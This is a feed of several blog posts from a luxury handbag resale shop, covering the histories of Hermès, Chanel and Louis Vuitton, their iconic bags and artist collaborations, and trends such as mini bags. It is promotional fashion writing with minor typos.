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If we think Hermès, we immediately see its symbolic orange box and brown ribbon. They are the colors that make up the brand’s logo and identify the brand worldwide. The history and evolution of the haute couture Maison confirms its innovative spirit working hand-in-hand with its commitment to the continued and exceptional quality of its products.

A bit of history

 The Hermès family, initially of Prussian Protestant origin, moved to Paris in 1828.  In 1837, Thierry Hermès (1801-1878) founded the Hermès Maison as an atelier for the production of harnesses. Located in the Grands Boulevards it began serving the European nobility’s needs for bridles and harnesses. Later on, it would begin to design its own original models.

The years passes when his son, Charles-Emile (1835-1919) inherited the management of Hermès in 1880, the House moved to 24 Faubourg St. Honoré, close to the Elysée Palace. There, he introduced the production of saddles and began retail selling to a worldwide elite. In 1892, after a trip to Argentina, Hermès produced its first leather bag, Haut á Courroies (HAC), inspired in the bags used by the Argentine gauchos. It was initially designed so that the riders could carry their saddles,  stirrups and boots in a more comfortable way.  Mr Hermès could hardly imagine that almost a century later, his «Haut a Courroies» would serve as the inspiration for the Birkin, one of the luxury bags most sought-after in the world of fashion. Today, the House continues to produce this symbolic bag, better known as the HAC.

Since then, the production options increased to include bags and luggage that offered the distribution and complements that every rider required, always with the same optimal crafting  that was Hermès’s brand characteristic.

And so we arrive at the Twentieth Century. With the appearance of motor cars and the substitution of horses as the means of transportation, everything began to change.  While Hermès maintained its family tradition and inspiration with the equestrian world, it was necessary to move with the times, the needs and demands of a rapidly growing market. It began incorporating a diversity of accessories to its collections such as watches, belts and its famous Carrés. These and the bags quickly became the brand’s pillars..

 From saddles and harnesses to the waiting list for a Birkin bag.

One of the brand’s famous symbols is the classic Kelly bag, worn by Grace Kelly, North American actors and Princess of Monaco. Another is the Birkin bag, inspired by Jane Birkin, English/French actress and singer and well known for her albums and love relationship with Serge Gainsbourg.

Luxury, craftsmanship and sophistication                              

 The empire of seduction

 Even when the Maison has many more and very beautiful models, wearing a Kelly or a Birkin without a doubt identifies its owner as a member of the very exclusive Hermès club.

 

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Louis Vuitton and Art (Part 2) https://www.cblbags.com/en/louis-vuitton-and-art-part-2/ https://www.cblbags.com/en/louis-vuitton-and-art-part-2/#respond Tue, 18 Jun 2019 08:45:00 +0000 https://www.cblbags.com/?p=28318 Louis Vuitton and Art (Part 2) Without a doubt, Louis Vuitton knows no geographic boundaries. Its fans are men and women that travel the world, always in the company of their Louis Vuitton bags. Following its well–known tradition of sponsor collaborations with prestigious artists worldwide, today we will talk about two Japanese artists that have […]

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Louis Vuitton and Art (Part 2)
Without a doubt, Louis Vuitton knows no geographic boundaries. Its fans are men and women that travel the world, always in the company of their Louis Vuitton bags.
Following its wellknown tradition of sponsor collaborations with prestigious artists worldwide, today we will talk about two Japanese artists that have collaborated with their talents to the firm’s avant-garde concept. In the same way that last time we presented collaborations from the West, today we will travel to the East.
Takashi Murakami
Called the Japanese Andy Warhol, Takashi Murakami closed his 13-year cycle of successful collaborations with Louis Vuitton, that began with Marc Jacobs, Director of the firm until Nicolas Ghisquière took over. Together, Murakami and Jacobs reunited East and West, displaying Murakami´s aesthetics and integrating it to Vuitton’s traditional excellence. Together, they pioneered the lucrative relationship model between fashion and art, a concept that is now de rigueur among the most prestigious firms in the world.
Under Jacobs´s innovative spirit, Murakami added a breath of fresh look to the firm’s traditional image, reorganizing the Monogram logo and turning Louis Vuitton bags into a kawaii dream. His palette of brilliant colors represent the joyful style Murakami designed for the Cherry Blossom and Multicolore collections. But he also added conceptual depth to his Character and Monocamouflage collections.
Ghisquière decided to discontinue Multicolore, so the lucky fans that had one or could still buy one would be the proud owners of a vintage collection piece. (links to VS and CBL webs).
Monogram Multicolore Speedy City Bag

                           
In the 2003 Spring/Summer season, and with this model, began what could be called an epidemic of “must have” bags. It became the most sought-after accessory of the time. Once again, Murakami displayed the subtle meeting ground of fine and  commercial arts.
The Monogramoufage Collection was inaugurated in the Brooklyn Museum, once again showing the symbiosis between art and fashion. The print had been only used by the military, but this proposal offered a transition towards humanizing the concept, steering it away from its merely military roots.
The Cherry Blossom Collection is, clearly, an iconic Murakami model. His flowers and cherries design represent his Japanese heritage and the kawaii pop art of which he is the pioneer. In this way, the firm’s traditional elegance became a celebration of colors.

Yayoi Kusama

 

The obsessive personality and the innocence of her work have touched me. She is successful in sharing her vision of the world with us. Our admiration is mutual.
Marc  Jacobs
Yayoi Kusama is Japanese and last March she celebrated her ninetieth birthday.  She is one of the most popular contemporary artists. Her personal story is as interesting as her art. Of her own will, she lives in a psychiatric ward and draws compulsively to maintain her neurosis at bay.
Half a century after having unsuccessfully walked the streets of New York in search of a gallery that would buy her work, today she has beaten all records in the auction houses. Her relationship with Louis Vuitton stems from the interest that her work, key representative of minimal art and pop art, inspired in Marc Jacobs while he was Director of Vuitton.
Louis Vuitton’s interest in art goes beyond fads and tendencies that come and go; it’s a passion that represents the firm’s essence that dates back to 1854. That is why when Jacobs decided to collaborate with Kusama, he did so based on the firm’s intention of associating its brand to prestigious artists, a history that has repeated itself decade after decade.
Together Jacobs and Kusama presented a unique collection, as easily identified as Vuitton’s iconic Monogram. When you see polkadots and brilliant colors, you can be sure that it’s a Yayoi Kusama original.
The Jacobs-Kusami collaboration went further than the catwalks or the iconic Vuitton stores worldwide. Jacobs was the main architect in inviting the public to dive into Kusami’s extraordinary universe in an exhibit that has toured some of the best museums, such as the Museo Nacional Centro de Arte Reina Sofía de Madrid, Centre Pompidou in Paris, the Tate Modern in London and the Whitney Museum in New York.
               
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Louis Vuitton y el arte (Parte 2)

Without a doubt, Louis Vuitton knows no geographic boundaries. Its fans are men and women that travel the world, always in the company of their Louis Vuitton bags.

Following its wellknown tradition of sponsor collaborations with prestigious artists worldwide, today we will talk about two Japanese artists that have collaborated with their talents to the firm’s avant-garde concept. In the same way that last time we presented collaborations from the West, today we will travel to the East.

Takashi Murakam

Called the Japanese Andy Warhol, Takashi Murakami closed his 13-year cycle of successful collaborations with Louis Vuitton, that began with Marc Jacobs, Director of the firm until Nicolas Ghisquière took over. Together, Murakami and Jacobs reunited East and West, displaying Murakami´s aesthetics and integrating it to Vuitton’s traditional excellence. Together, they pioneered the lucrative relationship model between fashion and art, a concept that is now de rigueur among the most prestigious firms in the world.

Under Jacobs´s innovative spirit, Murakami added a breath of fresh look to the firm’s traditional image, reorganizing the Monogram logo and turning Louis Vuitton bags into a kawaii dream. His palette of brilliant colors represent the joyful style Murakami designed for the Cherry Blossom and Multicolore collections. But he also added conceptual depth to his Character and Monocamouflage collections.

 

                                                        

 

 

Ghisquière decided to discontinue Multicolore, so the lucky fans that had one or could still buy one would be the proud owners of a vintage collection piece. (links to VS and CBL webs).

Monogram Multicolore Speedy City Bag

Con este modelo, en la temporada Primavera/Verano de 2003,  comenzó la  epidemia de los bolsos “must have”, convirtiéndose en el accesorio más buscado de esa temporada. Una vez más Murakami mostró su apreciación por esa línea sutil entre las artes plásticas y las artes comerciales.

La Colección  Monogramouflage se inauguró en el  Brooklyn Museum, una vez  más incorpora la moda en el campo de las artes plásticas. Curiosamente, el diseño que había pertenecido hasta entonces al ámbito militar pasó a representar una transición hacia la humanización del concepto, alejándolo de sus raíces militares.

La Colección Cherry Blossom de Murakami es, sin duda, su sello más conocido. Su emblemático diseño de flores de cerezo representa su herencia japonesa y el kawaii pop art del cual es pionero. De esta manera, la sobriedad tradicional se convierte en una encantadora fiesta de colores.

Yayoi Kusama

El carácter obsesivo y la inocencia de sus obras de arte me ha tocado. Ella tiene éxito en compartir su visión del mundo con nosotros. La admiración es mutua. Marc Jacobs

Yayoi Kusama es una japonesa que el pasado mes de marzo cumplió noventa años y es una de las artistas contemporáneas más populares. Su historia personal es tan interesante como  su arte. Por decisión propia vive en un manicomio y dibuja compulsivamente para alejar su neurosis.

 

   

Medio siglo después de haber pasado hambre en Nueva York y haber intentado sin éxito conseguir una galería a la cual vender su obra, hoy bate récords en las subastas.  Su relación con Louis Vuitton viene dada por el interés que su obra, representación clave del arte minimalista y del pop art, despertó en Marc Jacobs  mientras éste estuvo al frente de la casa Vuitton. 

Para Louis Vuitton el interés por el arte no depende de tendencias que van y vienen; es una pasión que identifica la esencia de la casa y que data desde 1854. Por eso cuando Jacobs tomó la decisión de colaborar con Kusama lo hizo basado en la historia de la casa que década tras década  ha buscado asociar la marca con artistas de prestigio.

Juntos, Jacobs y Kusama presentaron una colección única, reconocible con la misma rapidez que el mismo sello Monogram de la casa. Cuando ves lunares y colores brillantes en un bolso Vuitton, puedes estar segura que quien firma es Yayoi Kusama.

 

La colaboración entre Vuitton y Kusama se extendió más allá de las pasarelas o las tiendas emblemáticas de la casa alrededor del mundo. En este sentido, Jacobs fue el artífice de una exposición que invita al visitante a sumergirse en el mundo de Yayoi Kusama y que se ha presentado en museos tan prestigiosos como el Museo Nacional Centro de Arte Reina Sofía de Madrid, el Centro Pompidou de París, el Tate Modern de Londres y el Whitney Museum de Nueva York.

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Hand in hand, from East to West

At CBL Bags we are passionate about the stories our bags tell and about the intimate relationship the most prestigious brands nurture with artists of the same standing and recognition.

The relationship Louis Vuitton has with the art world goes back many years. Artists like Takashi Murakami, Richard Prince, Yayoi Kusama, Nicolas Ghesquière and Jeff Koons have all left their mark on Vuitton bags.

There have been many collaboration projects between Western artists and Louis Vuitton. Today, we bring you two of the most successful: Those made with Nicolas Ghesquière and Jeff Koons.

Whenever you see a Louis Vuitton bag with recreations of great art works, you’ll know you are looking  at the “Masters” Collection created by Jeff Koons and based on his large format series “Gazing Ball”, hand-painted reproductions of art works by great masters.

This is Koon´s second successful collaboration with Vuitton and you could say it closed with a flourish since, for the first time in history, the firm allowed an artist to accompany the famous Vuitton Monogram with his own  initials.

This Collection includes art works by François Boucher, Paul Gauguin, Edouard Manet, Claude Monet, Nicolas Poussin and JMW Turner.

This incredible initiative also includes art works of great classic masters such as Tiziano, Da Vinci and Rubens, among others. You can admire them in a great number of Vuitton bags such as the Neverfull, Speedy and Keepall models that have had great success among Vuitton fans all over the world.

  The tandem Vuitton and Koons has taken great care in showing, once again, the intimate relationship that exists between fashion and art. That is why in the interior of each bag you will find embossed the biography and portrait of  the masters whose art work has been recreated.

…The proud legacy. The inspiring history that looks to the future and to the world. The search for authenticity and innovation. The desire for timelessness…

 

These words, pronounced by Nicolas Ghesquière when he took charge of Louis Vuitton’s Women’s Collections,  are witness to  the  Vuitton philosophy of upholding the banner of tradition while looking to the future, ensuring the innovations the passing of time requires.

It is not the first time a fashion accessory takes center stage at the presentation of a new Collection. Such is the case when Ghesquière presented the new Petite Malle bag based on Vuitton’s iconic trunks. Following its debut during the Spring Fashion Week showing, it became the season´s favorite for the brand´s fans. 

Under the scrutiny of film celebrities like Jennifer Connelly, Sienna Miller or Emma Stone, Ghesquière has presented his Collection Cruise 2019, that include bags that pay hommage to the 60’s expecting to add a new group of followers to his already numerous family of fans: the cat lovers.

 

 

 

 

 

 

 

 

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#Bolsodelmes: el Timeless de Chanel https://www.cblbags.com/en/bagofthemonth-timeless-bag-chanel/ https://www.cblbags.com/en/bagofthemonth-timeless-bag-chanel/#respond Tue, 05 Mar 2019 08:00:42 +0000 https://www.cblbags.com/?p=27404 CBL Bags dedicates this month to Chanel! The news of Karl Lagerfeld´s death, better known as the “Fashion Kaiser” and creative spirit of Chanel since 1983, inspired us to tell the story of one of the brand´s most representative bags that revolutionized the concept of luxury bags, the Chanel Timeless.   Beyond our business of […]

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CBL Bags dedicates this month to Chanel!

The news of Karl Lagerfeld´s death, better known as the “Fashion Kaiser” and creative spirit of Chanel since 1983, inspired us to tell the story of one of the brand´s most representative bags that revolutionized the concept of luxury bags, the Chanel Timeless.

 

Beyond our business of buying and selling luxury bags, at CBL Bags we love and enjoy all thing exquisite. The bags we buy have their own story and getting to know it makes us part of that creative moment and the muse that inspired their creators, as is the case of Coco Chanel when she put pencil to paper to design the Timeless model, also known as 2.55 because it refers to the month and year it was created.

Fashion flows and changes with time, and the original design of the flap 2.55 could not be the exception. Lagerfeld´s arrival at Chanel presented one of the main characteristics that differs from the original Timeless: the lock with Coco Chanel´s original double CC logo.

 Lagerfeld´s magic is evident in the fact that the double CC is one of the principle characteristics associated with Chanel bags, even though it was never designed by Coco. The original lock used by Coco on her bags was known as Mademoiselle and it´s said that it received this name due to the fact that she never married.

But this bag has some variations that a true lover of luxury handbags should know like CBL Bags which is dedicated to buy and sell luxury bags. But in addition to the iconic lock, the Timeless model shares other features with the 2.55 model that are hallmarks of Chanel bags.

 

Chain handles

What was behind Coco´s eternal need to innovate? Marked by an independent and avant-garde spirit, she used fashion to advocate for women´s freedom. This was one of the reasons that led her to design a bag with double chain handles that would allow it to be carried on the forearm as well as hanging from the shoulder. After its debut, it became a symbol not only of social status, but also of a new way to carry a handbag.

The first Chanel handbags always featured chain straps. However, as the years passed, the chains were interlaced with leather due to the lack of resources during World War II. Today, you can find both versions – with or without interlaced leather.

The double flap

Coco, was always looking for a comfortable and elegant style and took inspiration from men´s fashion, especially from her lovers´clothes. Proof of this is the flap on the 2.55 and Timeless that represents pocket flaps on the jackets worn by Boy Capel, her most beloved lover.

The burgundy interiors

Chanel handbags have life stories to tell. Coco used burgundy interiors in honor of the uniform worn in the orphanage during her childhood. Although it is not the only color, one can say it is the genuine one.

The hidden zipper compartment

Most of the Timeless have a hidden zipper. Oddly enough, this is not a common feature in many other bags. The story goes that Chanel used this compartment to hide her love letters. Every time CLB Bags buys a vintage 2.55 , we look carefully inside hoping to find one of Coco´s lost love letters…

The quilted leather

Although not all Timeless models have quilted leather, it is a common feature in many of them. Again, Chanel was able to transform a material used for men into a stylish and practical accessory. As always, it is delightful to learn the origin of her inspiration. In this case, she took inspiration for her design from the clothes worn by the stable hands.

How to distinguish the Timeless bag from other similar models

As we mentioned at the beginning, the Timeless design is an evolution of 2.55, and the latter was reissued in 2005 to commemorate the anniversary. So, sometimes it can be difficult to distinguish between them, that’s why we end today’s article with some basic tips to differentiate them.

2.55: refers to the flap bag with Mademoiselle closure, but is often used to refer to all flap or double flap bags that feature the traditional design of the brand. It was designed by Coco in February 1955.

Timeless: refers to the model with the double C closure designed by Karl Lagerfield in the 80’s.

Reissue: Exact reissue of the original version of the 2.55 released in 2005 to celebrate the 50th anniversary of its appearance. It is often used, mistakenly, 2.55 to refer to the Reissue. The difference is that the 2.55 is the original model of the 50s and the Reissue refers only to those created from 2005 on.

If you are a fan of Chanel handbags, at CBL Bags we usually have models like in Mini, Jumbo or even Maxi Jumbo size that you can find easily on our online store.

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Chanel: brand history (second part) https://www.cblbags.com/en/chanel-brand-history-second-part/ https://www.cblbags.com/en/chanel-brand-history-second-part/#respond Tue, 26 Feb 2019 08:00:35 +0000 https://www.cblbags.com/?p=27287 Last week we began to tell the incredible story of Coco Chanel and the birth of one of the most recognized luxury brands in the world. Today we continue taking up the story in the 30s, when Chanel crossed the ocean to work with Hollywood stars. Chanel in Hollywood In 1931, Chanel met Samuel Goldwyn, […]

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Last week we began to tell the incredible story of Coco Chanel and the birth of one of the most recognized luxury brands in the world. Today we continue taking up the story in the 30s, when Chanel crossed the ocean to work with Hollywood stars.

Chanel in Hollywood

In 1931, Chanel met Samuel Goldwyn, owner of the Goldwin Mayer Metro. Goldwyn would eventually hire Chanel to design costumes for his film company. Despite she traveled twice a year to Hollywood and was being paid an exorbitant salary, she did not like the work. She saw that her fashion designs were not translated well on the cinema screen. Chanel continued to design costumes for several French films, but these projects were a temporary job and her fashion design business remained her main focus.

World War Two

In 1935, the House of Chanel had already become a very prosperous business that employed 4,000 people. But with the start of World War II, Chanel closed several of its stores and 3,000 employees were dismissed during the general labor strike.

Back on track

In 1945, after the end of World War II, Chanel decided to revive her professional career. The world of fashion had changed drastically and the industry was dominated by men, such as Christian Dior and Cristobal Balenciaga. But once again, Chanel thought that the 1940s styles of padded jackets and fitted waist skirt and dresses were not practical for women. She was inspired to design again.

In 1954, Chanel launched her new fashion line with some of its most iconic models: the classic two-piece Chanel suits made in tweed (very popular today).

The birth of the 2.55

One of his most recognized creations in the world of luxury handbags was the 2.55 model. Although Coco had previously designed handbags, this model was a revolted. It included a chain strap that allowed women to carry the bag hanging over their shoulders, freeing the hands. It was launched in 1955, from where it got its name 2.55.

This bag was also the result of rumors, as it included a zippered pocket concealed inside the lapel. It was said that it was where Coco kept the love letters and that the burgundy lining were an idea from the uniforms used in the school of her convent. The 2.55 was just another innovation that marked the beginning of a new way of modern dressing and revived the brand after a fall in interest due to the “new appearance” of Christian Dior.

 

Coco passes, Chanel remains

After a variety of lovers and businesses, Chanel died at the Hotel Ritz Paris in 1971. More than a decade after his death, in 1983, the designer Karl Lagerfeld took over as creative director of the brand and continues to oversee the creative direction of the brand. One of his innovations was the Reissue model, an update of the mythical 2.55. He added the iconic CC closure for which the brand is so well known today.

The creation of the Métiers d’Arts

Chanel was a big fan of quality products and craftsmanship. In 2002, the French maison decided to create on her behalf the heritage of Métiers d’Arts, which conserves the craftsmanship and manufacturing fashion skills. The collections of Métiers d’Arts shows the work of the workshops and keeps the heritage alive.

The “Boy” bag one of the latest success of the house

One of the most successful creations of the house was the Boy bag. This bag was named after Boy Capel, the lover who believed in Coco’s talent and helped her start her stylistic empire. However, the Tomboyish style of Coco and the love of men’s fashion also played an important role in the name. It is a pretty avant-garde bag and perfect for the modern woman.

The current Chanel bags brand style has been possible thanks to the striking new life that Lagerfeld gave to the brand. Today Chanel remains one of the most sought-after brands in the history of fashion due to Lagerfeld’s ability to remain the true charm of the independent woman that was the basis of the brand. But at the same time, infusing a freshness that makes each sample and collection are unique.

This week, while we were writing this article, designer Karl Lagerfeld has passed away. From CBL Bags we want to pay tribute to him for his great contribution to the fashion world and we hope that his successor in the house Chanel will continue with the great work that Lagerfeld carried out for more than 20 years working for the brand.

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Chanel: Brand history (part one) https://www.cblbags.com/en/chanel-brand-history-part-one/ https://www.cblbags.com/en/chanel-brand-history-part-one/#respond Tue, 19 Feb 2019 08:00:47 +0000 https://www.cblbags.com/?p=27259 Most popular fashion brand and most requested today. It has been that way since its creation by Coco (Gabrielle) Canal in 1910. Coco has given life to some of the most influential designs in the history of fashion; but there is no doubt that its current creative director, Karl Lagerfeld, has definitely made the fashion […]

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Most popular fashion brand and most requested today. It has been that way since its creation by Coco (Gabrielle) Canal in 1910. Coco has given life to some of the most influential designs in the history of fashion; but there is no doubt that its current creative director, Karl Lagerfeld, has definitely made the fashion house a global phenomenon.

A hard childhood

Gabrielle Bonheur Chanel was born on August 19, 1883 in Saumur (France) in a humble family. When Chanel was 12 years old, she lost her mother to bronchitis and her father sent Gabrielle, along with her sisters, to the convent of Aubazine, in central France. There she learned to sew with the nuns and in fact many of their later designs were inspired by uniforms and accessories, for both girls and nuns.

Life in Aubazine was such a lasting life that when she turned 18 Gabrielle went to live in a Catholic house in the town of Moulins. Because she had learned to sew in Aubazine, she had soon found herself as a seamstress in a small shop in Moulins.

Gabrielle becomes Coco

At the same time, Gabrielle used to sing in cabaret frequented by cavalry officers. During this time, she received her nickname “Coco” due to the two songs she sang, “Ko Ko Ri Ko”, and “Qui qu’a vu Coco”, although she also said that the name came from the French word “cocotte” (that means woman of low moral level).

At 23, Coco became the lover of Etienne Balsan and heir to a textile fortune. From this moment on, Chanel’s lifestyle improved immensely and soon she was living a luxurious life with days dedicated to activities such as socializing nights with Balsan and her friends. Balsan satisfied all the whims of Chanel, such as beautiful dresses and jewelry. But Chanel had a lot of free time so she started making her own hats since she could not find the styles she preferred. Some of the women who came to Royallieu liked their hats and asked Chanel to make them for them.

With love the brand was born

In 1908, while Chanel was living in Royallieu, she met the man who will become the “love of her life”. Captain Arthur “Boy” Capel was an English aristocrat, a close friend of Balsan. Chanel and Capel fell in love, and as soon as Chanel decided to leave Balsan, she moved to Paris to an apartment paid by Capel.

It was thanks to Capel that Coco was able to enter the world of the fashion. After she arrived to Paris, she wanted to earn her own money as the independent woman that she was. In 1910, she opened a small store located at number 21 rue Cambon, Chanel Modes. Gabrielle Dorziat used one of Chanel’s hats in a work and this way she got the attention of fashionable women in Paris. In 1912 her hats began to appear in the French fashion magazine, Les Modes; and after this, all the ladies of Paris wanted a Chanel hat.

 

Chanel’s expansion

But Chanel’s creativity and success had only just begun. In a trip to Deauville with Capel and her unique style, noticed that she was causing a sensation wherever she went and realized the need for women to have comfortable clothes but that will maintain a certain grace and elegance. So she decided to develop a line of dresses made with a light knit fabric. Once again Capel saw the talent of her lover and got her a store in Deauville, where she would be able to sell her new fashion line easier. The business worked so well that in 1915 Chanel opened a second store in Biarritz, which will give her enough money to repay the initial loan to Capel.

 

In 1919, Chanel’s fashion business became so profitable that she was able to buy the entire building at 31 rue Cambon, close to her previous location in Paris. With this new store, she set the standard for future fashion stores, where not only dresses could be sold but also a wide variety of accessories.

Chanel nº5

Chanel continued to find professional satisfaction in her fashion designs, although she never stop looking for ways to expand her business. In 1922 she met Pierre Wertheimer, director of the cosmetic company Bourgeois. Chanel worked with perfumer Ernest Beaux to create the chemical formula for a special fragrance, that soon would be another icon: Chanel No. 5. It was sold exclusively in Chanel stores and was the perfect combination of different scents for the new modern women of the 20s.

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February 14 is around the corner and we can already feel Valentine’s Day in the air! It’s a day full of chocolates, roses and romantic dinners, although from CBL Bags we propose to celebrate the day of love in a different way.

Valentine’s Day can be a bit hard for those who do not have a partner, as well as for those who have a partner who gives terrible gifts … That’s why this Valentine’s Day we invite you to make yourself a gift, because there is no more important love then self-love. Girls, lets show them that we do not need princes to rescue us with a diamond ring…

So for those modern women with or without a partner, we have found the ideal bag to celebrate this “rebel” Valentine’s day: the romantic interpretation of Louis Vuitton’s Bag “New Wave” collection. It’s a handbag inspired by the musical movement of the 80s and created to celebrate the day of love.

These bags acquire an adorable silhouette in shape of a heart and it is also super practical, being able to be worn in different ways: on the shoulder with its shoulder strap accessory, by hand with its removable handle or on the waist with its loop (that includes on the back for the belt).

They come in three colors: pastel pink, scarlet red and black. The truth is that all of them are very beautiful and trendy, but there is a difference between the pink and red models and the black model. The first two have metallic charms and ornaments, while the black has only the LV emblem in aged gold.

This model meets all the conditions of the trendy handbags: it is a mini bag, its heart shape attracts all eyes and the colors are perfect to match any style, from jeans to the typical black dress to go out at night.

In CBL Bags we are experts to buy and sell second-hand luxury bags and our recommendation is to make yourself this wonderful Valentine’s gift or ask your partner to do so. And if, by any chance you get tired of it someday, here we are to buy it and give the bag a second chance!

 

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Mini Bags, an upward trend https://www.cblbags.com/en/mini-bags-an-upward-trend/ https://www.cblbags.com/en/mini-bags-an-upward-trend/#respond Tue, 05 Feb 2019 08:00:37 +0000 https://www.cblbags.com/?p=27117 To some it may seem like a joke, but in recent years the fashion industry is betting more and more on mini handbags. To the point that luxury brands, such as Louis Vuitton, Chanel or Hermès have joined this trend too. Sometimes the big brands create their minis handbags from scratch, based on brand new […]

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To some it may seem like a joke, but in recent years the fashion industry is betting more and more on mini handbags. To the point that luxury brands, such as Louis Vuitton, Chanel or Hermès have joined this trend too.

Sometimes the big brands create their minis handbags from scratch, based on brand new designs. But the most successful ones are those that are mini versions of the classic designs, such as the mini Kelly of Hermès, the Timeless mini of Chanel or the Speedy Nano (that we have mentioned a few weeks ago in our post about the history of the Louis Vuitton Speedy bag).

 

The daughter of Kim Kardashian, North West with the Speedy Nano

 

The mini version of the Kelly bag by Hermès

 

Generally, women choose their bags based on its sizes, searching for those that will allow her to carry everything she needs, but traveling a little bit lighter.

If you are a fan of Marie Kondo, we are sure that you already love the mini bags trend. There is no doubt that they are complements that give us that joy of living and encourage us to simplify and reduce our things in life. But, if you are one of those that still resist this tendency, here are some reasons why you should at least give them a try:

 

Mini bags are trend

They moved fast in 2018 and it seems that they came to stay. So, if you are one of those that likes to keep up with the fashion, a mini bag is a must.

An image of the Hermès 2019 fashion show with a Mini Kelly Picnic Bag

 

Mini bags are practical

Yes, yes and yes! We know that you like to carry your house around like Mary Poppins, but if you stop and think for a moment, you would notice that the mini bags are meant to be practical. They have handles that allows you to carry them on the shoulder, leaving your hands free. They are manageable, light and comfortable to wear. And they are generally structured in a way that you can able to fit the basics in a small place and have them at hand.

The most practical way to carry a mini bag is crossed or on the shoulder

 

Mini bags are feminine

Whether you carry it in your hand, clutch-like or hang it on your shoulder, mini-bags always give a touch of delicacy and femininity to your outfit.

The Constance by Hermès in pastel pink color, a plea for femininity

 

Mini bags are versatile

Due to its variety of designs, the mini bag has the quality to adapt to all your outfits.

 

The coveted Timeless of Chanel in its mini version is the most versatile

 

Mini bags are original

Being small allow you to play more with colors and bold designs. They are like jewelry: compact and striking.

The original heart-shaped mini bag by Louis Vuitton from the 2019 collection “New Wave”

 

Mini bags are the best party buddy

The truth is that mini bags are ideal for concerts, festivals or parties, because you only need the essentials with you. With a good mini bag, you can carry your keys, mobile, money and credit cards with you and, at the same time, have your hands free. You don’t have to worry about queuing in the wardrobe or that someone would try to steal from you.

This mini bag chanel with belt is a practical and safe option for party nights

 

Finally, if none of these reasons have convinced you, we have a super #fashiontip that might: if you usually have to carry your laptop or documents in another bag, the perfect option would be to use a mini bag as a wallet. This way, whenever you have to go out to do some errands, you would have to just take your trendy mini bag with you.

This option is ideal for working girls who follow the fashion of mini bags

 

If you want to succeed with a luxury mini bag, at CBL Bags we are experts in the best brands of handbags, such as Chanel, Hermès or Louis Vuitton. Find yours in our online store.

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#BagOfTheMonth: The Birkin, the origins of a luxury icon https://www.cblbags.com/en/bagofthemonth-the-birkin-the-origins-of-a-luxury-icon/ https://www.cblbags.com/en/bagofthemonth-the-birkin-the-origins-of-a-luxury-icon/#respond Wed, 30 Jan 2019 12:59:53 +0000 https://www.cblbags.com/?p=27016 If you are a lover of luxury handbags, surely this Hermès bag is one of your ideal pieces. It is not surprising, considering that it has been a fashion icon for over than 30 years.   There is a rumor that the origin of the Birkin bag happened on a plane ride when the famous […]

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If you are a lover of luxury handbags, surely this Hermès bag is one of your ideal pieces. It is not surprising, considering that it has been a fashion icon for over than 30 years.

 

There is a rumor that the origin of the Birkin bag happened on a plane ride when the famous english actress and singer, Jane Birkin and the then – executive director of Hermès, Jean-Louis Dumas – met. According to the story, during the flight Jane spilled the contents of her bag in front of Jean-Louis and complained that she was not able to find a suitable bag to carry everything she needed for her and her baby. Dumas was immediately inspired to create this iconic and suitable accessory, for modern women, inviting Birkin to collaborate with the brand. This is how fashion history changed forever, giving birth to the Birkin bag in 1984.

Jane with her wicker bag and carrying her daughter in her arms

 

But what not everyone knows is that the roots of the Hermès’ Birkin bag can be found in the first bag that Émile-Maurice Hermès designed in 1892, the “Haut À Courroies”. For this first design he was inspired by the bags of the “gauchos”, after a trip that Émile-Maurice Hermès made to Argentina. In its beginnings it was created so that riders could carry saddles, stirrups and boots in a more comfortable way.

Little could Mr. Hermès suspect that almost a century later his “Haut a Courroies” would serve as an inspiration for one of the most desired handbags by women in the world of fashion and luxury. Today the house continues to manufacture this bag and is known more as the HAC bag by its acronyms.

The HAC Bag (Haut À Courroies)

We must recognize that Jean-Louis Dumas was very smart when using the HAC as a reference, taking advantage of a functional and elegant design with a more adequate size. It is large enough to travel and the flap and closure prevents the contents from falling off. It is a spacious bag, elegant but with a “casual” design that allows you to wear it with any type of outfit. The Hermès Birkin bag is characterized by its two handles that allow it to be worn by hand or on the wrist, its tripartite flap and a lock on which can be padlocked, for greater safety on trips.

 

Jane Birkin with one of the bags named after her name

The truth is that the Birkin was a step to modernization for this luxury fashion house. Until then they were only into the classic and traditional style. In fact, it could be said that Jane Birkin played an important role in getting Hermès to take its current place in the fashion world. Thanks to her youthful and carefree look, Hermès opened up to new markets and clients.

 

Victoria Bekham with a pink Birkin in ostrich skin. There is a rumor that she has over 100 Bikini bags in her collection.

On the other hand, it is important to say that this opening was not instantaneous. Based on its original history it was expected that Birkin’s success would come immediately, but its current fame was not achieved until the 90’s, at the dawn of the so-called “It-Bag”. In fact, the only time the purse appeared in the Vogue magazine was so far in a Hermès ad published in 1989.

The now iconic bag became a status symbol when it was used in a 2001 episode of the famous series Sex and the City. In the episode, Samantha Jones uses one of the names of her famous clients in order to skip the waiting list for the coveted bag. After this was broadcast, Birkin’s real waiting list tripled, consolidating his place as an iconic “It Bag” of the 21st century.

 

                    

Images of the episode of Sex in New York, in which the Birkin appears. 

Since its creation, the original design has remained virtually unchanged; although it can be found in many different colors and sizes: Birkin bags have been made in more than 20 shades of blue and its dimensions go from the smallest Birkin of 25 cm to the largest of 40 cm.

 

Birkin sizes

Over the years they have become, not only a status symbol and an essential fashion accessory, but it is even considered one of the best investments that can be made. Some prestigious sources, such as Time magazine, have determined that Birkin bags are actually a better investment than gold and, of course, less risky than stocks.

The value of a Birkin has increased by an average of 14.2 % each year. The Birkin Himalaya bag (so called because its color resembles the famous mountains) became the most expensive bag, sold at auction for $ 379,261.

The Birkin in Himalayan crocodile skin with diamond clasp, the most expensive in history.

 

From CBL Bags we are experts in luxury handbags. We have verified this reality and we are delighted to offer second-hand Hermès Birkin bags in impeccable states; perfect for lovers of luxury and fashion as well as for those who want to make a safe investment.

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Are you thinking of buying a piece of Louis Vuitton history? https://www.cblbags.com/en/are-you-thinking-of-buying-a-piece-of-louis-vuitton-history/ https://www.cblbags.com/en/are-you-thinking-of-buying-a-piece-of-louis-vuitton-history/#respond Tue, 22 Jan 2019 10:36:14 +0000 https://www.cblbags.com/?p=26942 If we can say that something is indisputable in the world of luxury handbags, is that Louis Vuitton is the most recognized brand in the world. To understand its story, we need to go back to the 19th century. In fact, its history is one of the things that makes Louis Vuitton so successful and wins the […]

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If we can say that something is indisputable in the world of luxury handbags, is that Louis Vuitton is the most recognized brand in the world. To understand its story, we need to go back to the 19th century. In fact, its history is one of the things that makes Louis Vuitton so successful and wins the loyalty of its customers.

Within the long journey of the Louis Vuitton house, the bag that has stood out among the others has always been the Speedy model. No doubt, an icon of the label that any bag lover should have.

